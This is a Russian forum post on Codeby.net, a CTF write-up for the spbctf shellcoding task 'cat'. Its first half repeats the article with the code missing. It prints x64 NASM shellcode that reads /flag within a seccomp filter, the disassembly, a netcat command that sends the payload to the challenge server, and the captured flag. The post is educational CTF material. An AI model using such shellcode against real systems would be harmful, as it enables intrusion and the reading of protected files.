🖐 Приветствую всех читателей Codeby.net 🖐
Следующая часть
Недавно я начал практиковаться в написании шелл-кодов. Чтобы лучше понять тему нужно объяснить её другому человеку так, чтобы он понял. Поэтому я буду писать о решение задач с
Существует видео, как решить эти таски, но я хочу объяснить решение более подробно и в виде статьи.
Я уже писал о некоторых правилах написания шелл-кодов в этой статье
Задачи буду называть тасками. Название самого первого задания -
Описание таска cat:
У нас есть точное местоположения файла с флагом и точная задача - прочитать этот флаг.
Изучим программу cat.elf
Программа устроена так, что она исполняет тот ассемблерный код, который мы передали.
При декомпиляции ( По умолчанию нужно нажать F5 ) программы в IDA PRO появляется вот такая ошибка:
В программе присутствуют функции seccomp.
Seccomp - это фильтр системных вызовов. Чтобы не мучиться с дизассемблированием и изучением запретов и разрешений, один человек с GitHub придумал seccomp-tools.
Устанавливаем с помощью:
Используем:
Нам разрешены системные вызовы read, write, open, close ( Линия 0010 - ALLOW ).
Например: мы передаём программе read. Далее программа проверяет наш системный вызов. Он разрешён. Программа переходит к метке 0010 и выполняется дальше.
Напишем шелл-код
При написании шелл-кодов нам понадобятся
Эта программа не завершается, если будут нули. Это хорошо
Номера системных вызовов должны быть в регистре rax. Аргументы передаются в порядке rdi, rsi, rdx, r10, r8, r9.
Таблица в
Команда
На линии
Теперь команда
Сохраняем код в
Компилируем в бинарный файл:
Испытываем программу на сервере:
Вывод:
Флаг -
Проверка флага:
Спасибо за внимание.
Следующая часть
Недавно я начал практиковаться в написании шелл-кодов. Чтобы лучше понять тему нужно объяснить её другому человеку так, чтобы он понял. Поэтому я буду писать о решение задач с
Ссылка скрыта от гостей
Категория: shellcoding.Существует видео, как решить эти таски, но я хочу объяснить решение более подробно и в виде статьи.
Я уже писал о некоторых правилах написания шелл-кодов в этой статье
Задачи буду называть тасками. Название самого первого задания -
Ссылка скрыта от гостей
. Описание таска cat:
У нас есть точное местоположения файла с флагом и точная задача - прочитать этот флаг.
Изучим программу cat.elf
Программа устроена так, что она исполняет тот ассемблерный код, который мы передали.
При декомпиляции ( По умолчанию нужно нажать F5 ) программы в IDA PRO появляется вот такая ошибка:
В программе присутствуют функции seccomp.
seccomp (сокр. от
Ссылка скрыта от гостей
secure computing mode) — один из механизмов безопасности
Ссылка скрыта от гостей
, который обеспечивает возможность ограничивать набор доступных
Ссылка скрыта от гостей
для приложений, а также с помощью механизма BPF (
Ссылка скрыта от гостей
) производить сложную фильтрацию вызовов и их аргументов.Seccomp - это фильтр системных вызовов. Чтобы не мучиться с дизассемблированием и изучением запретов и разрешений, один человек с GitHub придумал seccomp-tools.
Устанавливаем с помощью:
sudo apt install gcc ruby-dev && gem install seccomp-tools
Используем:
seccomp-tools dump ./cat.elf
Нам разрешены системные вызовы read, write, open, close ( Линия 0010 - ALLOW ).
Например: мы передаём программе read. Далее программа проверяет наш системный вызов. Он разрешён. Программа переходит к метке 0010 и выполняется дальше.
Напишем шелл-код
При написании шелл-кодов нам понадобятся
Ссылка скрыта от гостей
по номерам системных вызовов.Эта программа не завершается, если будут нули. Это хорошо
C-подобный:
BITS 64 ; Указываем компилятору nasm, что пишем код для архитектуры x64
sub rsp, 0x60 ; Выделяем место в стеке для флага. Можно указать другое число.
; int open(const char *pathname, int flags, mode_t mode);
; arg0 (%rdi), arg1 (%rsi), arg2 (%rdx)
push 0x2 ; Кладём на стек номер системного вызова open
pop rax ; Забираем из стека номер системного вызова open в регистр rax
lea rdi, [rel +flag] ; Кладём указатель на метку с флагом в регистр rdi
xor edx, edx ; Обнуляем регистре rdx.
xor esi, esi ; Обнуляем регистре rsi.
syscall ; Системный вызов open
; ssize_t read(int fd, void *buf, size_t count);
; arg0 (%rdi), arg1 (%rsi), arg2 (%rdx)
mov rdi, rax ; Перемещаем в rdi файловый дескриптор, после открытия файла с помощью системного вызова open
xor eax, eax ; Номер системного read (0) вызова в rax
mov rsi, rsp ; Передаём в rdi выделенное нами ранее место для флага.
push 0x60 ; Кладём на стек размер выделенного нами места
pop rdx ; Забираем из стека размер выделенного нами места в регистр rdx
syscall ; Системный вызов read
; ssize_t write(int fd, const void *buf, size_t count);
; arg0 (%rdi), arg1 (%rsi), arg2 (%rdx)
push 1 ; Номер системного вызова write
pop rax; Забираем из стека номер системного вызова write в регистр rax
push 1 ; Файловый дескриптор stdout.
pop rdi ; Забираем из стека номер файлового дескриптора stdout в регистр rax
syscall ; Системный вызов write
flag: ; Метка для адреса со строкой /flag. Вместо этой метки в программе будет адрес на строку
db "/flag" ; Строка /flag
Номера системных вызовов должны быть в регистре rax. Аргументы передаются в порядке rdi, rsi, rdx, r10, r8, r9.
Таблица в
Ссылка скрыта от гостей
:Команда
xor edx, edx
будет работать в архитектуре x64. Обнуляются байты в edx, а за ними и все остальные. При обнулении регистров этим способом в архитектуре x64 нулей на линии, где расположена наша команда не будет. Проверим: ndisasm -b64 shell
Код:
00000000 4883EC60 sub rsp,byte +0x60
00000004 6A02 push byte +0x2
00000006 58 pop rax
00000007 488D3D1B000000 lea rdi,[rel 0x29]
0000000E 31D2 xor edx,edx
00000010 31F6 xor esi,esi
00000012 0F05 syscall
00000014 4889C7 mov rdi,rax
00000017 31C0 xor eax,eax
00000019 4889E6 mov rsi,rsp
0000001C 6A60 push byte +0x60
0000001E 5A pop rdx
0000001F 0F05 syscall
00000021 6A01 push byte +0x1
00000023 58 pop rax
00000024 6A01 push byte +0x1
00000026 5F pop rdi
00000027 0F05 syscall
00000029 2F db 0x2f
0000002A 666C o16 insb
0000002C 61 db 0x61
0000002D 67 a32
На линии
0000000E
нулей нет.Теперь команда
lea rdi, [rel +flag]
. Это команда кладёт указатель на строку с флагом в регистр rdi. Обозначение rel я не нашёл, но @Marylin очень помог с объяснением. Спасибо тебе REL - от слова Relative, т.е. относительная адресация.
Она присутствует только в 64-битном режиме, и является в нём адресацией по-умолчанию. Её ещё называют "RIP-относительная адресация", когда к текущему значению регистра-указателя RIP прибавляется смещение метки.
Сохраняем код в
shell.asm
.Компилируем в бинарный файл:
nasm shell.asm -o shell
Испытываем программу на сервере:
cat shell | nc 109.233.56.90 11662
Вывод:
Shellcode: spbctf{cc88680b25b45a469de6116b590a195a}�H����AP��P���mU�V��%
.Флаг -
spbctf{cc88680b25b45a469de6116b590a195a}
Проверка флага:
Спасибо за внимание.
Последнее редактирование: